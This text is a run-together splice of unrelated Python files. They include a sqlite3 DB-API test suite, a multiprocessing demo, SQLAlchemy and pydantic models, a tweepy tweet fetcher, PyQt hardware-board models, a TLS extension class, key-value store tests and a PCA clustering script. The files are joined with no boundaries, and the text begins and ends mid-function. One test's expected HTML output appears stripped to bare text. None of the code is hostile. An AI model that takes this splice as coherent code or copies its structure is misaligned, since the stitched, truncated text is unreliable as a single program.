testFailedOpen(self): YOU_CANNOT_OPEN_THIS = "/foo/bar/bla/23534/mydb.db" try: con = sqlite.connect(YOU_CANNOT_OPEN_THIS) except sqlite.OperationalError: return self.fail("should have raised an OperationalError") def testClose(self): self.cx.close() def testExceptions(self): # Optional DB-API extension. self.assertEqual(self.cx.Warning, sqlite.Warning) self.assertEqual(self.cx.Error, sqlite.Error) self.assertEqual(self.cx.InterfaceError, sqlite.InterfaceError) self.assertEqual(self.cx.DatabaseError, sqlite.DatabaseError) self.assertEqual(self.cx.DataError, sqlite.DataError) self.assertEqual(self.cx.OperationalError, sqlite.OperationalError) self.assertEqual(self.cx.IntegrityError, sqlite.IntegrityError) self.assertEqual(self.cx.InternalError, sqlite.InternalError) self.assertEqual(self.cx.ProgrammingError, sqlite.ProgrammingError) self.assertEqual(self.cx.NotSupportedError, sqlite.NotSupportedError) def testInTransaction(self): # Can't use db from setUp because we want to test initial state. cx = sqlite.connect(":memory:") cu = cx.cursor() self.assertEqual(cx.in_transaction, False) cu.execute("create table transactiontest(id integer primary key, name text)") self.assertEqual(cx.in_transaction, False) cu.execute("insert into transactiontest(name) values (?)", ("foo",)) self.assertEqual(cx.in_transaction, True) cu.execute("select name from transactiontest where name=?", ["foo"]) row = cu.fetchone() self.assertEqual(cx.in_transaction, True) cx.commit() self.assertEqual(cx.in_transaction, False) cu.execute("select name from transactiontest where name=?", ["foo"]) row = cu.fetchone() self.assertEqual(cx.in_transaction, False) def testInTransactionRO(self): with self.assertRaises(AttributeError): self.cx.in_transaction = True def testOpenUri(self): if sqlite.sqlite_version_info < (3, 7, 7): with self.assertRaises(sqlite.NotSupportedError): sqlite.connect(':memory:', uri=True) return self.addCleanup(unlink, TESTFN) with sqlite.connect(TESTFN) as cx: cx.execute('create table test(id integer)') with sqlite.connect('file:' + TESTFN, uri=True) as cx: cx.execute('insert into test(id) values(0)') with sqlite.connect('file:' + TESTFN + '?mode=ro', uri=True) as cx: with self.assertRaises(sqlite.OperationalError): cx.execute('insert into test(id) values(1)') class CursorTests(unittest.TestCase): def setUp(self): self.cx = sqlite.connect(":memory:") self.cu = self.cx.cursor() self.cu.execute("create table test(id integer primary key, name text, income number)") self.cu.execute("insert into test(name) values (?)", ("foo",)) def tearDown(self): self.cu.close() self.cx.close() def testExecuteNoArgs(self): self.cu.execute("delete from test") def testExecuteIllegalSql(self): try: self.cu.execute("select asdf") self.fail("should have raised an OperationalError") except sqlite.OperationalError: return except: self.fail("raised wrong exception") def testExecuteTooMuchSql(self): try: self.cu.execute("select 5+4; select 4+5") self.fail("should have raised a Warning") except sqlite.Warning: return except: self.fail("raised wrong exception") def testExecuteTooMuchSql2(self): self.cu.execute("select 5+4; -- foo bar") def testExecuteTooMuchSql3(self): self.cu.execute(""" select 5+4; /* foo */ """) def testExecuteWrongSqlArg(self): try: self.cu.execute(42) self.fail("should have raised a ValueError") except ValueError: return except: self.fail("raised wrong exception.") def testExecuteArgInt(self): self.cu.execute("insert into test(id) values (?)", (42,)) def testExecuteArgFloat(self): self.cu.execute("insert into test(income) values (?)", (2500.32,)) def testExecuteArgString(self): self.cu.execute("insert into test(name) values (?)", ("Hugo",)) def testExecuteArgStringWithZeroByte(self): self.cu.execute("insert into test(name) values (?)", ("Hu\x00go",)) self.cu.execute("select name from test where id=?", (self.cu.lastrowid,)) row = self.cu.fetchone() self.assertEqual(row[0], "Hu\x00go") def testExecuteWrongNoOfArgs1(self): # too many parameters try: self.cu.execute("insert into test(id) values (?)", (17, "Egon")) self.fail("should have raised ProgrammingError") except sqlite.ProgrammingError: pass def testExecuteWrongNoOfArgs2(self): # too little parameters try: self.cu.execute("insert into test(id) values (?)") self.fail("should have raised ProgrammingError") except sqlite.ProgrammingError: pass def testExecuteWrongNoOfArgs3(self): # no parameters, parameters are needed try: self.cu.execute("insert into test(id) values (?)") self.fail("should have raised ProgrammingError") except sqlite.ProgrammingError: pass def testExecuteParamList(self): self.cu.execute("insert into test(name) values ('foo')") self.cu.execute("select name from test where name=?", ["foo"]) row = self.cu.fetchone() self.assertEqual(row[0], "foo") def testExecuteParamSequence(self): class L(object): def __len__(self): return 1 def __getitem__(self, x): assert x == 0 return "foo" self.cu.execute("insert into test(name) values ('foo')") self.cu.execute("select name from test where name=?", L()) row = self.cu.fetchone() self.assertEqual(row[0], "foo") def testExecuteDictMapping(self): self.cu.execute("insert into test(name) values ('foo')") self.cu.execute("select name from test where name=:name", {"name": "foo"}) row = self.cu.fetchone() self.assertEqual(row[0], "foo") def testExecuteDictMapping_Mapping(self): class D(dict): def __missing__(self, key): return "foo" self.cu.execute("insert into test(name) values ('foo')") self.cu.execute("select name from test where name=:name", D()) row = self.cu.fetchone() self.assertEqual(row[0], "foo") def testExecuteDictMappingTooLittleArgs(self): self.cu.execute("insert into test(name) values ('foo')") try: self.cu.execute("select name from test where name=:name and id=:id", {"name": "foo"}) self.fail("should have raised ProgrammingError") except sqlite.ProgrammingError: pass def testExecuteDictMappingNoArgs(self): self.cu.execute("insert into test(name) values ('foo')") try: self.cu.execute("select name from test where name=:name") self.fail("should have raised ProgrammingError") except sqlite.ProgrammingError: pass def testExecuteDictMappingUnnamed(self): self.cu.execute("insert into test(name) values ('foo')") try: self.cu.execute("select name from test where name=?", {"name": "foo"}) self.fail("should have raised ProgrammingError") except sqlite.ProgrammingError: pass def testClose(self): self.cu.close() def testRowcountExecute(self): self.cu.execute("delete from test") self.cu.execute("insert into test(name) values ('foo')") self.cu.execute("insert into test(name) values ('foo')") self.cu.execute("update test set name='bar'") self.assertEqual(self.cu.rowcount, 2) def testRowcountSelect(self): """ pysqlite does not know the rowcount of SELECT statements, because we don't fetch all rows after executing the select statement. The rowcount has thus to be -1. """ self.cu.execute("select 5 union select 6") self.assertEqual(self.cu.rowcount, -1) def testRowcountExecutemany(self): self.cu.execute("delete from test") self.cu.executemany("insert into test(name) values (?)", [(1,), (2,), (3,)]) self.assertEqual(self.cu.rowcount, 3) def testTotalChanges(self): self.cu.execute("insert into test(name) values ('foo')") self.cu.execute("insert into test(name) values ('foo')") if self.cx.total_changes < 2: self.fail("total changes reported wrong value") # Checks for executemany: # Sequences are required by the DB-API, iterators # enhancements in pysqlite. def testExecuteManySequence(self): self.cu.executemany("insert into test(income) values (?)", [(x,) for x in range(100, 110)]) def testExecuteManyIterator(self): class MyIter: def __init__(self): self.value = 5 def __next__(self): if self.value == 10: raise StopIteration else: self.value += 1 return (self.value,) self.cu.executemany("insert into test(income) values (?)", MyIter()) def testExecuteManyGenerator(self): def mygen(): for i in range(5): yield (i,) self.cu.executemany("insert into test(income) values (?)", mygen()) def testExecuteManyWrongSqlArg(self): try: self.cu.executemany(42, [(3,)]) self.fail("should have raised a ValueError") except ValueError: return except: self.fail("raised wrong exception.") def testExecuteManySelect(self): try: self.cu.executemany("select ?", [(3,)]) self.fail("should have raised a ProgrammingError") except sqlite.ProgrammingError: return except: self.fail("raised wrong exception.") def testExecuteManyNotIterable(self): try: self.cu.executemany("insert into test(income) values (?)", 42) self.fail("should have raised a TypeError") except TypeError: return except Exception as e: print("raised", e.__class__) self.fail("raised wrong exception.") def testFetchIter(self): # Optional DB-API extension. self.cu.execute("delete from test") self.cu.execute("insert into test(id) values (?)", (5,)) self.cu.execute("insert into test(id) values (?)", (6,)) self.cu.execute("select id from test order by id") lst = [] for row in self.cu: lst.append(row[0]) self.assertEqual(lst[0], 5) self.assertEqual(lst[1], 6) def testFetchone(self): self.cu.execute("select name from test") row = self.cu.fetchone() self.assertEqual(row[0], "foo") row = self.cu.fetchone() self.assertEqual(row, None) def testFetchoneNoStatement(self): cur = self.cx.cursor() row = cur.fetchone() self.assertEqual(row, None) def testArraySize(self): # must default ot 1 self.assertEqual(self.cu.arraysize, 1) # now set to 2 self.cu.arraysize = 2 # now make the query return 3 rows self.cu.execute("delete from test") self.cu.execute("insert into test(name) values ('A')") self.cu.execute("insert into test(name) values ('B')") self.cu.execute("insert into test(name) values ('C')") self.cu.execute("select name from test") res = self.cu.fetchmany() self.assertEqual(len(res), 2) def testFetchmany(self): self.cu.execute("select name from test") res = self.cu.fetchmany(100) self.assertEqual(len(res), 1) res = self.cu.fetchmany(100) self.assertEqual(res, []) def testFetchmanyKwArg(self): """Checks if fetchmany works with keyword arguments""" self.cu.execute("select name from test") res = self.cu.fetchmany(size=100) self.assertEqual(len(res), 1) def testFetchall(self): self.cu.execute("select name from test") res = self.cu.fetchall() self.assertEqual(len(res), 1) res = self.cu.fetchall() self.assertEqual(res, []) def testSetinputsizes(self): self.cu.setinputsizes([3, 4, 5]) def testSetoutputsize(self): self.cu.setoutputsize(5, 0) def testSetoutputsizeNoColumn(self): self.cu.setoutputsize(42) def testCursorConnection(self): # Optional DB-API extension. self.assertEqual(self.cu.connection, self.cx) def testWrongCursorCallable(self): try: def f(): pass cur = self.cx.cursor(f) self.fail("should have raised a TypeError") except TypeError: return self.fail("should have raised a ValueError") def testCursorWrongClass(self): class Foo: pass foo = Foo() try: cur = sqlite.Cursor(foo) self.fail("should have raised a ValueError") except TypeError: pass @unittest.skipUnless(threading, 'This test requires threading.') class ThreadTests(unittest.TestCase): def setUp(self): self.con = sqlite.connect(":memory:") self.cur = self.con.cursor() self.cur.execute("create table test(id integer primary key, name text, bin binary, ratio number, ts timestamp)") def tearDown(self): self.cur.close() self.con.close() def testConCursor(self): def run(con, errors): try: cur = con.cursor() errors.append("did not raise ProgrammingError") return except sqlite.ProgrammingError: return except: errors.append("raised wrong exception") errors = [] t = threading.Thread(target=run, kwargs={"con": self.con, "errors": errors}) t.start() t.join() if len(errors) > 0: self.fail("\n".join(errors)) def testConCommit(self): def run(con, errors): try: con.commit() errors.append("did not raise ProgrammingError") return except sqlite.ProgrammingError: return except: errors.append("raised wrong exception") errors = [] t = threading.Thread(target=run, kwargs={"con": self.con, "errors": errors}) t.start() t.join() if len(errors) > 0: self.fail("\n".join(errors)) def testConRollback(self): def run(con, errors): try: con.rollback() errors.append("did not raise ProgrammingError") return except sqlite.ProgrammingError: return except: errors.append("raised wrong exception") errors = [] t = threading.Thread(target=run, kwargs={"con": self.con, "errors": errors}) t.start() t.join() if len(errors) > 0: self.fail("\n".join(errors)) def testConClose(self): def run(con, errors): try: con.close() errors.append("did not raise ProgrammingError") return except sqlite.ProgrammingError: return except: errors.append("raised wrong exception") errors = [] t = threading.Thread(target=run, kwargs={"con": self.con, "errors": errors}) t.start() t.join() if len(errors) > 0: self.fail("\n".join(errors)) def testCurImplicitBegin(self): def run(cur, errors): try: cur.execute("insert into test(name) values ('a')") errors.append("did not raise ProgrammingError") return except sqlite.ProgrammingError: return except: errors.append("raised wrong exception") errors = [] t = threading.Thread(target=run, kwargs={"cur": self.cur, "errors": errors}) t.start() t.join() if len(errors) > 0: self.fail("\n".join(errors)) def testCurClose(self): def run(cur, errors): try: cur.close() errors.append("did not raise ProgrammingError") return except sqlite.ProgrammingError: return except: errors.append("raised wrong exception") errors = [] t = threading.Thread(target=run, kwargs={"cur": self.cur, "errors": errors}) t.start() t.join() if len(errors) > 0: self.fail("\n".join(errors)) def testCurExecute(self): def run(cur, errors): try: cur.execute("select name from test") errors.append("did not raise ProgrammingError") return except sqlite.ProgrammingError: return except: errors.append("raised wrong exception") errors = [] self.cur.execute("insert into test(name) values ('a')") t = threading.Thread(target=run, kwargs={"cur": self.cur, "errors": errors}) t.start() t.join() if len(errors) > 0: self.fail("\n".join(errors)) def testCurIterNext(self): def run(cur, errors): try: row = cur.fetchone() errors.append("did not raise ProgrammingError") return except sqlite.ProgrammingError: return except: errors.append("raised wrong exception") errors = [] self.cur.execute("insert into test(name) values ('a')") self.cur.execute("select name from test") t = threading.Thread(target=run, kwargs={"cur": self.cur, "errors": errors}) t.start() t.join() if len(errors) > 0: self.fail("\n".join(errors)) class ConstructorTests(unittest.TestCase): def testDate(self): d = sqlite.Date(2004, 10, 28) def testTime(self): t = sqlite.Time(12, 39, 35) def testTimestamp(self): ts = sqlite.Timestamp(2004, 10, 28, 12, 39, 35) def testDateFromTicks(self): d = sqlite.DateFromTicks(42) def testTimeFromTicks(self): t = sqlite.TimeFromTicks(42) def testTimestampFromTicks(self): ts = sqlite.TimestampFromTicks(42) def testBinary(self): b = sqlite.Binary(b"\0'") class ExtensionTests(unittest.TestCase): def testScriptStringSql(self): con = sqlite.connect(":memory:") cur = con.cursor() cur.executescript(""" -- bla bla /* a stupid comment */ create table a(i); insert into a(i) values (5); """) cur.execute("select i from a") res = cur.fetchone()[0] self.assertEqual(res, 5) def testScriptSyntaxError(self): con = sqlite.connect(":memory:") cur = con.cursor() raised = False try: cur.executescript("create table test(x); asdf; create table test2(x)") except sqlite.OperationalError: raised = True self.assertEqual(raised, True, "should have raised an exception") def testScriptErrorNormal(self): con = sqlite.connect(":memory:") cur = con.cursor() raised = False try: cur.executescript("create table test(sadfsadfdsa); select foo from hurz;") except sqlite.OperationalError: raised = True self.assertEqual(raised, True, "should have raised an exception") def testConnectionExecute(self): con = sqlite.connect(":memory:") result = con.execute("select 5").fetchone()[0] self.assertEqual(result, 5, "Basic test of Connection.execute") def testConnectionExecutemany(self): con = sqlite.connect(":memory:") con.execute("create table test(foo)") con.executemany("insert into test(foo) values (?)", [(3,), (4,)]) result = con.execute("select foo from test order by foo").fetchall() self.assertEqual(result[0][0], 3, "Basic test of Connection.executemany") self.assertEqual(result[1][0], 4, "Basic test of Connection.executemany") def testConnectionExecutescript(self): con = sqlite.connect(":memory:") con.executescript("create table test(foo); insert into test(foo) values (5);") result = con.execute("select foo from test").fetchone()[0] self.assertEqual(result, 5, "Basic test of Connection.executescript") class ClosedConTests(unittest.TestCase): def setUp(self): pass def tearDown(self): pass def testClosedConCursor(self): con = sqlite.connect(":memory:") con.close() try: cur = con.cursor() self.fail("Should have raised a ProgrammingError") except sqlite.ProgrammingError: pass except: self.fail("Should have raised a ProgrammingError") def testClosedConCommit(self): con = sqlite.connect(":memory:") con.close() try: con.commit() self.fail("Should have raised a ProgrammingError") except sqlite.ProgrammingError: pass except: self.fail("Should have raised a ProgrammingError") def testClosedConRollback(self): con = sqlite.connect(":memory:") con.close() try: con.rollback() self.fail("Should have raised a ProgrammingError") except sqlite.ProgrammingError: pass except: self.fail("Should have raised a ProgrammingError") def testClosedCurExecute(self): con = sqlite.connect(":memory:") cur = con.cursor() con.close() try: cur.execute("select 4") self.fail("Should have raised a ProgrammingError") except sqlite.ProgrammingError: pass except: self.fail("Should have raised a ProgrammingError") def testClosedCreateFunction(self): con = sqlite.connect(":memory:") con.close() def f(x): return 17 try: con.create_function("foo", 1, f) self.fail("Should have raised a ProgrammingError") except sqlite.ProgrammingError: pass except: self.fail("Should have raised a ProgrammingError") def testClosedCreateAggregate(self): con = sqlite.connect(":memory:") con.close() class Agg: def __init__(self): pass def step(self, x): pass def finalize(self): return 17 try: con.create_aggregate("foo", 1, Agg) self.fail("Should have raised a ProgrammingError") except sqlite.ProgrammingError: pass except: self.fail("Should have raised a ProgrammingError") def testClosedSetAuthorizer(self): con = sqlite.connect(":memory:") con.close() def authorizer(*args): return sqlite.DENY try: con.set_authorizer(authorizer) self.fail("Should have raised a ProgrammingError") except sqlite.ProgrammingError: pass except: self.fail("Should have raised a ProgrammingError") def testClosedSetProgressCallback(self): con = sqlite.connect(":memory:") con.close() def progress(): pass try: con.set_progress_handler(progress, 100) self.fail("Should have raised a ProgrammingError") except sqlite.ProgrammingError: pass except: self.fail("Should have raised a ProgrammingError") def testClosedCall(self): con = sqlite.connect(":memory:") con.close() try: con() self.fail("Should have raised a ProgrammingError") except sqlite.ProgrammingError: pass except: self.fail("Should have raised a ProgrammingError") class ClosedCurTests(unittest.TestCase): def setUp(self): pass def tearDown(self): pass def testClosed(self): con = sqlite.connect(":memory:") cur = con.cursor() cur.close() for method_name in ("execute", "executemany", "executescript", "fetchall", "fetchmany", "fetchone"): if method_name in ("execute", "executescript"): params = ("select 4 union select 5",) elif method_name == "executemany": params = ("insert into foo(bar) values (?)", [(3,), (4,)]) else: params = [] try: method = getattr(cur, method_name) method(*params) self.fail("Should have raised a ProgrammingError: method " + method_name) except sqlite.ProgrammingError: pass except: self.fail("Should have raised a ProgrammingError: " + method_name) from multiprocessing import Process, Queue, Pool import os import time import random # def queue_demo(func): # def wrapper(*args, **kwargs): # print(f'fetch task from queue: {os.getpid()}') # func(*args, **kwargs) # return wrapper # @queue_demo def read(q): while True: if q.empty(): return else: t = q.get() print(f'get {t} from queue, process ID < {os.getpid()} >') time.sleep(t / 10) def run(num): start = time.time() queue_list = [random.randint(1, 4) for _ in range(100)] queue = Queue() for _ in queue_list: queue.put(_) processes = [] for _ in range(num): processes.append( Process(target=read, args=(queue, )) ) for process in processes: process.start() for process in processes: process.join() end = time.time() print(f'done. {round(end - start, 4)} seconds used.') if __name__ == '__main__': # run(1) # run(2) # run(4) run(4) 0 import sqlalchemy from sqlalchemy import Column, Integer, String from sqlalchemy import create_engine from sqlalchemy.orm import sessionmaker from sqlalchemy.ext.declarative import declarative_base Base = declarative_base() class _UbicacionVehiculo(Base): __tablename__ = "UbicacionVehiculo" id = Column(Integer, primary_key = True) idvehiculo = Column(Integer, nullable=False, unique=True) latitud = Column(String)#foreing key longitud = Column(String)#foreing key def makeTable(eng): Base.metadata.create_all(bind =eng) PythonBlog/dataModels/dto/pageDTO.py1-10 from typing import List, TypeVar, Generic import pydantic from pydantic import Field from pydantic.generics import GenericModel __all__ = [ "PageDTO", ] T = TypeVar('T') class PageDTO(GenericModel, Generic[T]): """ 分页列表 """ recordList: List[T] = Field( [] , title = "分页列表" ) count: int = Field( ... , title = "总数", # ge = 0, # 此加上会报错 pydantic尚未解决的 bug ) import os import sys sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))) import unittest from main.item import ItemFactory,TechFactory from main.itemMetaConfig import * class itemTest(unittest.TestCase): def test_load_item(self): itemFactory = ItemFactory() self.assertNotEqual(len(itemFactory),0) self.assertEqual(len(itemFactory.getItemWithType('assembling-machine')),6) accumulator_name = 'Accumulator' accumulator = itemFactory.getItem(accumulator_name) self.assertEqual(accumulator.name, accumulator_name) self.assertEqual(accumulator.getFieldWithKeys((ITEM_NAME,)), accumulator_name) def test_load_tech(self): techFactory = TechFactory() self.assertNotEqual(len(techFactory),0) if __name__ == '__main__': unittest.main()utils/get_twitter.py from typing import Dict from urllib.parse import urlparse import os import tweepy consumer_key = os.getenv("TWITTER_API_KEY") consumer_secret = os.getenv("TWITTER_API_SECRET_KEY") access_token = os.getenv("TWITTER_ACCESS_TOKEN") access_token_secret = os.getenv("TWITTER_ACCESS_TOKEN_SECRET") def parse_id(url: str) -> str: parse_url = urlparse(url) twitter_id = parse_url.path.split('/')[-1] return twitter_id def get_description(status: Dict) -> str: return status['full_text'] def get_user_image(status: Dict) -> str: if 'user' in status: if 'profile_image_url_https' in status['user']: image = status['user']['profile_image_url_https'] elif 'profile_image_url' in status['user']: image = status['user']['profile_image_url'] elif 'profile_banner_url' in status['user']: image = status['user']['profile_banner_url'] else: return None try: image = image.replace('_normal', '') except Exception as e: image = image[:63] + image[70:] return image def get_image(status: Dict) -> str: if 'entities' in status.keys(): if 'media' in status['entities']: if 'media_url_https' in status['entities']['media'][0]: return status['entities']['media'][0]['media_url_https'] if 'media_url' in status['entities']['media'][0]: return status['entities']['media'][0]['media_url'] return get_user_image(status) def get_title(status: Dict) -> str: if 'user' in status: if 'screen_name' in status['user']: return status['user']['screen_name'] + ' on Twitter' if 'name' in status['user']: return status['user']['name'] + ' on Twitter' return 'Someone on Twitter' def get_twitter(url: str) -> Dict: desired_response = { "description": None, "form": 'text', "image": None, "medium": 'link', "title": None, "url": None } twitter_id = parse_id(url) auth = tweepy.OAuthHandler(consumer_key, consumer_secret) auth.set_access_token(access_token, access_token_secret) api = tweepy.API(auth) status = api.get_status(twitter_id, tweet_mode = 'extended')._json desired_response['description'] = get_description(status) desired_response['image'] = get_image(status) desired_response['title'] = get_title(status) desired_response['url'] = url return desired_responsefrom PyQt5.QtCore import * from PyQt5.QtWidgets import QItemDelegate, QComboBox from CycleControl.objects.cycle_controller import * from CycleControl.objects.hardware import * from CycleControl.helpers import * class BoardsModel(QAbstractItemModel): def __init__(self , controller, parent = None): QAbstractItemModel.__init__(self, parent) self.controller = controller @property def boards(self): return self.controller.hardware.pulseblasters def refresh(self): self.dataChanged.emit(self.index(0, 0), self.index(self.rowCount(), self.columnCount())) def rowCount(self, parent = None, *args, **kwargs): if parent is None: return len(self.boards) parent = parent.internalPointer() if parent is None: return len(self.boards) if isinstance(parent, Board): return parent.CHANNEL_NUM if isinstance(parent, Channel): return 0 def columnCount(self, parent = None, *args, **kwargs): return 2 def remove_board(self, index): item = index.internalPointer() if isinstance(item, Board): self.removeRow(index.row()) def insertRows(self, row, count, parent=None, *args, **kwargs): self.beginInsertRows(QModelIndex(), row, row + count - 1) for i in range(row, row + count): self.create_board(i) self.endInsertRows() return True def removeRows(self, row, count, parent=None, *args, **kwargs): self.beginRemoveRows(QModelIndex(), row, row + count - 1) for i in range(row, row + count): self.delete_board(i) self.endRemoveRows() return True def parent(self, index = None): item = index.internalPointer() parent = item.parent if isinstance(parent, Controller): return QModelIndex() return self.createIndex(parent.row, 0, parent) def index(self, row, col, parent=None, *args, **kwargs): if parent is None: return QModelIndex() parent_node = parent.internalPointer() if parent_node is None and row < len(self.boards): return self.createIndex(row, col, self.boards[row]) elif isinstance(parent_node, Board): return self.createIndex(row, col, parent_node[row]) return QModelIndex() def data(self, index, role = None): item = index.internalPointer() if isinstance(item, Board): return self.board_data(index, role, item) elif isinstance(item, Channel): return self.channel_data(index, role, item) def setData(self, index, val, role = None): item = index.internalPointer() if isinstance(item, Board): return self.set_board_data(index, val, role, item) elif isinstance(item, Channel): return self.set_channel_data(index, val, role, item) def board_data(self, index, role, board): raise Exception('Not implemented') def channel_data(self, index, role, channel): raise Exception('Not implemented') def set_board_data(self, index, val, role, board): raise Exception('Not implemented') def set_channel_data(self, index, val, role, channel): raise Exception('Not implemented') def flags(self, index): item = index.internalPointer() if isinstance(item, Board): return self.board_flags(index) elif isinstance(item, Channel): return self.channel_flags(index) def board_flags(self, index): if index.column() == 0: return Qt.ItemIsEditable | Qt.ItemIsEnabled | Qt.ItemIsSelectable return Qt.NoItemFlags def channel_flags(self, index): if index.column() == 1: return Qt.ItemIsEditable | Qt.ItemIsEnabled | Qt.ItemIsSelectable if index.column() == 0: return Qt.ItemIsUserCheckable | Qt.ItemIsEnabled return Qt.NoItemFlags class PulseBlastersModel(BoardsModel): @property def boards(self): return self.controller.hardware.pulseblasters def headerData(self, idx, orientation, role=None): if role == Qt.DisplayRole: if orientation == Qt.Horizontal: return ['Channel', 'Label'][idx] def board_data(self, index, role, board): if role == Qt.DisplayRole or role == Qt.EditRole: if index.column() == 0: return board.id def channel_data(self, index, role, channel): if role == Qt.DisplayRole or role == Qt.EditRole: if index.column() == 0: return channel.row if index.column() == 1: return channel.label if role == Qt.CheckStateRole: if index.column() == 0: return bool_to_checkstate(channel.enabled) def set_board_data(self, index, val, role, board): if role == Qt.EditRole: if index.column() == 0: board.id = val return True def set_channel_data(self, index, val, role, channel): if role == Qt.EditRole: if index.column() == 1: channel.label = val if role == Qt.CheckStateRole: if index.column() == 0: channel.enabled = bool(val) return True def create_board(self, idx): pb = PulseBlasterBoard(str(idx), self.controller) self.controller.hardware.pulseblasters.append(pb) def delete_board(self, idx): if self.controller.hardware.pulseblasters: del self.controller.hardware.pulseblasters[idx] class NIBoardsModel(BoardsModel): @property def boards(self): return self.controller.hardware.ni_boards def headerData(self, idx, orientation, role=None): if role == Qt.DisplayRole: if orientation == Qt.Horizontal: return ['Channel', 'Label', 'Minimum', 'Maximum', 'Scaling'][idx] def columnCount(self, parent = None, *args, **kwargs): return 5 def board_data(self, index, role, board): if role == Qt.DisplayRole or role == Qt.EditRole: if index.column() == 0: return board.id def channel_data(self, index, role, channel): if role == Qt.DisplayRole or role == Qt.EditRole: if index.column() == 0: return channel.row if index.column() == 1: return channel.label if index.column() == 2: return channel.min if index.column() == 3: return channel.max if index.column() == 4: return channel.scaling if role == Qt.CheckStateRole: if index.column() == 0: return bool_to_checkstate(channel.enabled) def set_board_data(self, index, val, role, board): if role == Qt.EditRole: if index.column() == 0: board.id = val return True def set_channel_data(self, index, val, role, channel): if role == Qt.EditRole: if index.column() == 1: channel.label = val if index.column() == 2: channel.min = val if index.column() == 3: channel.max = val if index.column() == 4: channel.scaling = val if role == Qt.CheckStateRole: if index.column() == 0: channel.enabled = bool(val) return True def create_board(self, idx): ni = NIBoard('Dev{}'.format(idx), self.controller) self.controller.hardware.ni_boards.append(ni) def delete_board(self, idx): if self.controller.hardware.ni_boards: del self.controller.hardware.ni_boards[idx] def channel_flags(self, index): if index.column() in [1, 2, 3, 4]: return Qt.ItemIsEditable | Qt.ItemIsEnabled | Qt.ItemIsSelectable if index.column() == 0: return Qt.ItemIsUserCheckable | Qt.ItemIsEnabled return Qt.NoItemFlags class NovatechsModel(BoardsModel): @property def boards(self): return self.controller.hardware.novatechs def headerData(self, idx, orientation, role=None): if role == Qt.DisplayRole: if orientation == Qt.Horizontal: return ['Channel', 'Label'][idx] def board_data(self, index, role, board): if role == Qt.DisplayRole or role == Qt.EditRole: if index.column() == 0: return board.id def channel_data(self, index, role, channel): if role == Qt.DisplayRole or role == Qt.EditRole: if index.column() == 0: return channel.row if index.column() == 1: return channel.label if role == Qt.CheckStateRole: if index.column() == 0: return bool_to_checkstate(channel.enabled) def set_board_data(self, index, val, role, board): if role == Qt.EditRole: if index.column() == 0: board.id = val return True def set_channel_data(self, index, val, role, channel): if role == Qt.EditRole: if index.column() == 1: channel.label = val if role == Qt.CheckStateRole: if index.column() == 0: channel.enabled = bool(val) return True def create_board(self, idx): nova = NovatechBoard('COM{}'.format(idx), self.controller) self.controller.hardware.novatechs.append(nova) def delete_board(self, idx): if self.controller.hardware.novatechs: del self.controller.hardware.novatechs[idx] class ComboDelegate(QItemDelegate): def __init__(self, parent): QItemDelegate.__init__(self, parent) def createEditor(self, parent, option, index): combo = QComboBox(parent) scales = ' ' * 10000 result = DAQmxGetSysScales(scales, 10000) scales = result or scales scales = scales.strip().split(', ') combo.addItem('') combo.addItems(scales) return combo def setEditorData(self, editor, index): text = index.data() index = editor.findText(text) editor.setCurrentIndex(index) def setModelData(self, editor, model, index): model.setData(index, editor.itemText(editor.currentIndex()), role = Qt.EditRole)tls/ext_statusrequest.py #!/usr/bin/python import struct from handshake import * class StatusRequestExtension(TLSExtension): OCSP = 1 def __init__(self): TLSExtension.__init__(self) @classmethod def create(cls, status_type=OCSP): # We don't support extensions to the StatusRequest extension # So the two lengths are 0 data = struct.pack('!HBHH', 5, status_type, 0, 0) return TLSExtension.create(TLSExtension.StatusRequest, data) examples/components/generators/test_generators.py """Test an example.""" from . import main def test_main() -> None: """Ensure the demo matches expected.""" assert main() == "
    • First
    • Second
    " # -*- coding: utf-8 -*- import pytest from kvom.source import RedisBackend, Source, SourceURL @pytest.mark.parametrize( "url, dialect", [ ("redis://localhost:6379/0", "redis"), ("mongodb://localhost:27017/", "mongodb"), ("memcached://localhost:11211/", "memcached"), ], ) def test_source_url(url, dialect): url = SourceURL(url) assert url.dialect == dialect def test_redis_backend(): backend = RedisBackend("redis://localhost:6379/0") assert backend.set("ping", "pong") assert backend.get("ping") == "pong" assert backend.delete("ping") # def test_mongo_backend(): # backend = MongoBackend("mongodb://localhost:27017/test") # assert backend.set("ping", "pong") # assert backend.get("ping") == "pong" # assert backend.delete("ping") # assert backend._document_name == "kvom" # def test_mongo_backend_custom_document(): # backend = MongoBackend("mongodb://localhost:27017/test", document="test-kvom") # assert backend.set("ping", "{'a': 'b'}") # assert backend.get("ping") == "{'a': 'b'}" # assert backend.delete("ping") @pytest.mark.parametrize( "url", [ "redis://localhost:6379/0", ], ) def test_source(url): source = Source(url) assert source.set("ping", "pong") assert source.get("ping") == "pong" assert source.set("ping", "pong2") assert source.get("ping") == "pong2" assert source.delete("ping") assert source.get("ping") is None src/pca.py import pandas as pd from sklearn.cluster import KMeans import numpy as np from sklearn.decomposition import PCA from sklearn.metrics import silhouette_score def pca_processing(fname, n_comp =3): """ Function to decrease the dimension of the players based on their POSS_PCT :param fname: the path of the pca_table file :param n_comp: the number of main components we want to use :return: data after pca with dimension n*n_comp; player names, the pca dimensions correspond to a pca fit across all years """ df_list = [] frame_list = ['2015_pca_table.csv', '2016_pca_table.csv','2017_pca_table.csv','2018_pca_table.csv','2019_pca_table.csv'] for each in frame_list: df_new = pd.read_csv("/".join(fname.split('/')[:-1])+"/"+each) df_list.append(df_new) df_concat = pd.concat(df_list) #print(df_concat) df = pd.read_csv(fname) kept_cols = [ col for col in df.columns if col.endswith("freq") ] kept_cols.append("PLAYER_NAME") kept_cols.reverse() df = df[kept_cols] df_concat = df_concat[kept_cols] player_name = df["PLAYER_NAME"] data_org = df_concat.iloc[:, 2:] data_test = df.iloc[:, 2:] pca = PCA(n_components=n_comp) pca.fit(data_org) data_pca = data_test @ pca.components_.T assert len(data_pca) == len(player_name) return data_pca, player_name def k_means(fname, dim=3, cluster_num=5): ''' Function to cluster the data into cluster_num groups and visualize them in a 3D space :param fname: the path of the pca_table file :param dim: the number of dimensions we want to use :param cluster_num: the number of clusters we want to cluster them :return: NONE ''' assert isinstance(fname, str) data, names = pca_processing(fname, dim) X = np.array(data) k_means = KMeans(n_clusters=cluster_num).fit(X) labels = k_means.labels_ distance = k_means.transform(X) return names, X, labels, distance def get_silscores(fname, dim=3): best=0 final_clus=0 for cluster_num in range(5,9): data, names = pca_processing(fname, dim) X = np.array(data) k_means = KMeans(n_clusters=cluster_num).fit(X) labels = k_means.labels_ 